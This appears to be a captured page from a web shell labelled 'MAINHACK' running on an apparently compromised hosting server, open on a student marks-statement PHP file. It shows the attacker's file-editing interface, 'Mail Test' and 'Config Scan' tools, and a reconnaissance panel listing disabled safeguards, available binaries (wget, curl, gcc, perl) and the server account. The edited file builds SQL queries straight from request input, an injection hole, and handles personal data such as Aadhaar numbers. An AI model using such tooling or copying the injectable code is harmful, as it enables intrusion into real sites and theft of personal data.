[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: result_print.php
<?php include 'database.php'; $uid=$_REQUEST['id']; $count=1; $sq="select * from user where user_id='".$uid."' order by id desc"; $r=mysqli_query($con,$sq); while($row=mysqli_fetch_array($r)){ $na=$row['name']; $dob=date("d-m-Y",strtotime($row['dob'])); $phn=$row['phone']; $em=$row['email']; $aadhar=$row['aadhar']; $dis=$row['district']; $add=$row['address']; $barcode=$row['barcode']; } ?> <html> <head> <title>NIET</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="keywords" content="" /> <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <!-- Bootstrap Core CSS --> <link href="css/bootstrap.css" rel='stylesheet' type='text/css' /> <!-- Custom CSS --> <link href="css/style.css" rel='stylesheet' type='text/css' /> <!-- font CSS --> <!-- font-awesome icons --> <link href="css/font-awesome.css" rel="stylesheet"> <!-- //font-awesome icons --> <!-- js--> <script src="js/jquery-1.11.1.min.js"></script> <script src="js/modernizr.custom.js"></script> <!--webfonts--> <link href='//fonts.googleapis.com/css?family=Roboto+Condensed:400,300,300italic,400italic,700,700italic' rel='stylesheet' type='text/css'> <!--//webfonts--> <!--animate--> <link href="css/animate.css" rel="stylesheet" type="text/css" media="all"> <script src="js/wow.min.js"></script> <script> new WOW().init(); </script> <!--//end-animate--> <!-- Metis Menu --> <script src="js/metisMenu.min.js"></script> <script src="js/custom.js"></script> <link href="css/custom.css" rel="stylesheet"> <script src="sweetalert-master/dist/sweetalert.min.js"></script> <link rel="stylesheet" type="text/css" href="sweetalert-master/dist/sweetalert.css"> <!--//Metis Menu --> <style> .alert_logo{ text-align:center;} .alert_content{ text-align:center;} .alert_content a{ color:inherit;} </style> <link href="https://cdn.datatables.net/1.10.16/css/jquery.dataTables.min.css" media="screen" rel="stylesheet" type="text/css" /> <script src="https://cdn.datatables.net/1.10.16/js/jquery.dataTables.min.js"></script> <script> $(document).ready(function(){ $('#example').DataTable(); }); </script> <link href="https://fonts.googleapis.com/css?family=Montserrat:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet"> <style type="text/css" media="print"> @page { size: auto; /* auto is the initial value */ margin: 0mm; /* this affects the margin in the printer settings */ } html { background-color: #FFFFFF; margin: 0px; /* this affects the margin on the html before sending to printer */ } body { } </style> <style> #page-wrapper{ padding:0; } #page-wrapper .block-box h6{ padding:0 0 5px; } @page { size: auto; margin: 0mm; } @media print { .no-print, .no-print * { display: none !important; } } </style> </head> <div id="page-wrapper"> <div class="main-page"> <div class="block-box"> <p>North Indian Educational Trust (NIET)<br><b>INDPCP PROGRAMME</b><br>405/32 SARAI MALI KHAN Chowk Lucknow-226003 (Uttar Pradesh), INDIA</p> <div class="col-md-4"> <h3>No. 10000012384</h3> </div> <div class="col-md-4"> <img src="images/logo.png" alt="" /> <h4>Statement of marks</h4> </div> <div class="col-md-4"></div> <div class="clearfix"></div> <div class="col-md-2 col-xs-2"></div> <div class="col-md-5 col-xs-5 bg-block"> <h5>Name : <b><?php echo $na; ?></b></h5> <h5>Gender : <b>--------</b></h5> <h5>Roll No : <b><?php echo $uid; ?></b></h5> <h5>DOB : <b><?php echo $dob; ?></b></h5> <h5>Address : <b><?php echo $add; ?></b></h5> <h5>NGO : <b>1739/ODH/PHI</b></h5> </div> <div class="col-md-4 col-xs-4"> <img src="temp/<?php echo $barcode; ?>" width="" class="use"> </div> <div class="col-md-2"></div> <div class="clearfix"></div> <?php $sq1="select * from result where user_id='".$uid."'"; $r1=mysqli_query($con,$sq1); while($row1=mysqli_fetch_array($r1)){ $dia=$row1['diabetes']; $diet=$row1['diet']; $socio=$row1['sociology']; $psycho=$row1['psychology']; $result=$row1['total']; $status=$row1['status']; // $numberToWord = new Numbers_Words(); echo $numberToWords->toWords(200); } ?> <?php $ones = array( "", " one", " two", " three", " four", " five", " six", " seven", " eight", " nine", " ten", " eleven", " twelve", " thirteen", " fourteen", " fifteen", " sixteen", " seventeen", " eighteen", " nineteen" ); $tens = array( "", "", " twenty", " thirty", " forty", " fifty", " sixty", " seventy", " eighty", " ninety" ); $triplets = array( "", " thousand", " million", " billion", " trillion", " quadrillion", " quintillion", " sextillion", " septillion", " octillion", " nonillion" ); // recursive fn, converts three digits per pass function convertTri($num, $tri) { global $ones, $tens, $triplets; // chunk the number, ...rxyy $r = (int) ($num / 1000); $x = ($num / 100) % 10; $y = $num % 100; // init the output string $str = ""; // do hundreds if ($x > 0) $str = $ones[$x] . " hundred"; // do ones and tens if ($y < 20) $str .= $ones[$y]; else $str .= $tens[(int) ($y / 10)] . $ones[$y % 10]; // add triplet modifier only if there // is some output to be modified... if ($str != "") $str .= $triplets[$tri]; // continue recursing? if ($r > 0) return convertTri($r, $tri+1).$str; else return $str; } // returns the number as an anglicized string function convertNum($num) { $num = (int) $num; // make sure it's an integer if ($num < 0) return "negative".convertTri(-$num, 0); if ($num == 0) return "zero"; return convertTri($num, 0); } // Returns an integer in -10^9 .. 10^9 // with log distribution function makeLogRand() { $sign = mt_rand(0,1)*2 - 1; $val = randThousand() * 1000000 + randThousand() * 1000 + randThousand(); $scale = mt_rand(-9,0); return $sign * (int) ($val * pow(10.0, $scale)); } // example of usage ?> <div class="col-md-3 col-sm-2"></div> <div class="col-md-4 col-sm-5"> <h6>Subjects</h6> <h5>DIABETES</h5> <h5>DIET</h5> <h5>SOCIOLOGY</h5> <h5>PSYCHOLOGY</h5> <h6>RESULT <br><b><?php echo $status; ?></b></h6> </div> <div class="col-md-4 col-sm-5"> <h6>Marks</h6> <h5><?php echo $dia; echo convertNum($dia); ?></h5> <h5><?php echo $diet; echo convertNum($diet); ?></h5> <h5><?php echo $socio; echo convertNum($socio); ?></h5> <h5><?php echo $psycho; echo convertNum($psycho); ?></h5> <h5><b>Total Marks Obtained</b> <br> <?php echo $result; ?>/120</h5> </div> <div class="col-md-1 col-sm-0"></div> <div class="col-md-6 col-sm-6"> <h3 style="text-align: center;text-transform: uppercase;"><b>Note</b> : The overall pass marks are 40/120</h3> </div> <div class="col-md-6 col-sm-6"> <h3 style="text-align: center;text-transform: uppercase;">Secretary General</h3> </div> <div class="no-print" align="center"> <button onclick="myFunction()" class="print btn btn-info per">Print this page</button> <div> <script> function myFunction() { window.print(); } </script> <div class="clearfix"></div> </div> </div> </div> </div> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619